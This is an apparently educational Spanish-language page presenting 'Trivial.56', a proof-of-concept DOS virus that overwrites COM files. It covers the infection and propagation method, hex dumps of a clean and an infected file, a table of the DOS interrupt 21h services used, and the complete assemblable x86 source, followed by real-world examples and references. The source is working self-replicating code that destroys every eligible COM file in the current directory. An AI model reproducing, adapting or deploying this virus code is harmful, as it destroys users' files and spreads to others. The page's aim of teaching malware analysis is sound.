Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por overwriting (sobrescritura) en archivos COM. El virus infecta archivos en tiempo de ejecución.
Método de infección
El virus simplemente sobrescribe otros archivos COM con el código viral. Es la estrategia más primitiva, pero es muy agresiva y destructiva. Todas las generaciones del virus son idénticas.
Generalmente nada se preserva de los archivos huéspedes ya que son destruidos por la sobrescritura. La desinfección consiste en eliminar todos los archivos infectados.
Método de propagación
La infección se realiza en el momento de ejecución infectando todos los archivos COM en el directorio actual a excepción de aquellos con atributo READ-ONLY, HIDDEN o SYSTEM.
Flujo de ejecución
Análisis estático
Hex dump de un archivo sano de tamaño 80 bytes:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 09 BA 39 01 CD 21 90 ´.º9.Í!. 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
Hex dump del archivo infectado:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 4E 33 C9 BA 32 01 CD ´N3ɺ2.Í 0x0008 21 73 08 EB 21 B4 4F CD !s.ë!´OÍ 0x0010 21 72 1B B4 3D B0 02 BA !r.´=°.º 0x0018 9E 00 CD 21 8B D8 B4 40 ž.Í!‹Ø´@ 0x0020 B9 38 00 BA 00 01 CD 21 ¹8.º..Í! 0x0028 B4 3E CD 21 EB DF B4 00 ´>Í!ëß´. 0x0030 CD 21 2A 2E 63 6F 6D 00 Í!*.com. 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
El virus sobrescribe desde el offset 0x0000 hasta 0x0037 (56 bytes). Lo único que se conserva del huésped es el código luego del offset 0x0037. Si el huésped fuera menor a 56 bytes no quedaría nada de el.
API utilizada
Se utilizan 6 servicios de la DOS API mediante la interrupción de software 21h.
Servicio | AH | Parámetros | Retorno | Versión DOS |
---|---|---|---|---|
Terminar programa | 00h | - | - | 1+ |
Abrir archivo existente | 3Dh | AL = modos de acceso e intercambio DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, AX = handle del archivo Error: CF = 1, AX = código de error |
2+ |
Cerrar archivo | 3Eh | BX = handle del archivo | Éxito: CF = 0, AX destruido Error: CF = 1, AX = código de error |
2+ |
Escribir en archivo o dispositivo |
40h | BX = handle del archivo CX = nro. de bytes DS:DX -> datos a escribir |
Éxito: CF = 0, AX = nro. de bytes escritos Error: CF = 1, AX = código de error |
2+ |
Buscar el primer archivo coincidente |
4Eh | CX = máscara de atributos de archivo DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, resultado en DTA Error: CF = 1, AX = código de error |
2+ |
Buscar el siguiente archivo coincidente |
4Fh | - | Exito: CF = 0, resultado en DTA Error: CF = 1, AX = código de error |
2+ |
Código fuente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
;##############################################################################
;# Nombre: virus://DOS/Trivial.56
;# Plataforma: Intel x86
;# SO: DOS v2.0+, Win32 (mediante NTVDM)
;# Lenguaje: ASM x86-16 (sintaxis Intel)
;# Herramientas: TASM v4.1, TLINK v7.1.30
;# Tipo: Overwriting, Non-Resident, COM infector
;# Tamaño: 56 bytes
;# Propagación: Acción directa sobre el directorio actual.
;# Infección: Sobrescritura de archivos COM (no READ-ONLY/HIDDEN/SYSTEM).
;# Residente: No
;# Stealth: No
;# Payload: No
;##############################################################################
.8086
.model tiny
assume cs:virus, ds:virus
virus segment byte public 'CODE'
org 100h
start:
mov ah, 4Eh ; | AH = 4Eh
xor cx, cx ; | CX = 0, archivos normales
lea dx, search_str ; | DS:DX -> "*.COM"
int 21h ; |_DOS API - Buscar primer archivo
jnc infect_file ; archivo encontrado
jmp exit ; no hay archivo
find_next:
mov ah, 4Fh ; | AH = 4Fh
int 21h ; |_DOS API - Buscar siguiente archivo
jc exit ; no hay archivo
infect_file:
mov ah, 3Dh ; | AH = 3Dh
mov al, 2 ; | AL = 2, lectura y escritura
mov dx, 9Eh ; | DS:DX -> DTA + 1Eh = 9Eh (FileName)
int 21h ; |_DOS API - Abrir archivo existente
mov bx, ax ; | BX = handle del archivo
mov ah, 40h ; | AH = 40h
mov cx, virus_size ; | CX = tamaño del virus
lea dx, start ; | DS:DX -> inicio del código viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
mov ah, 3Eh ; | AH = 3Eh
int 21h ; |_DOS API - Cerrar archivo
jmp find_next ; buscar siguiente
exit:
mov ah, 00h ; | AH = 00h
int 21h ; |_DOS API - Retornar a DOS
search_str db "*.com", 00h ; nombre comodín de búsqueda
virus_size equ ($ - start) ; tamaño del virus
virus ends
end start
Casos reales
- La familia de virus Trivial en sistemas DOS se caracteriza por tener los ejemplares de virus más pequeños. Por ejemplo, DOS/Trivial.22 es un virus de solo 22 bytes.
- El gusano VBS/LoveLetter.A@mm tiene como principal vector de propagación el envió masivo de e-mails. Al ejecutarse sobre escribe archivos de extensión .vbs, .vbe, .js, .css, .jpg, .txt, .html, .avi, .mp3, y muchos más. Fue notablemente exitoso en el 2000.
Bibliografía
- Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
- Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
- Phalcon-Skism. 40-Hex.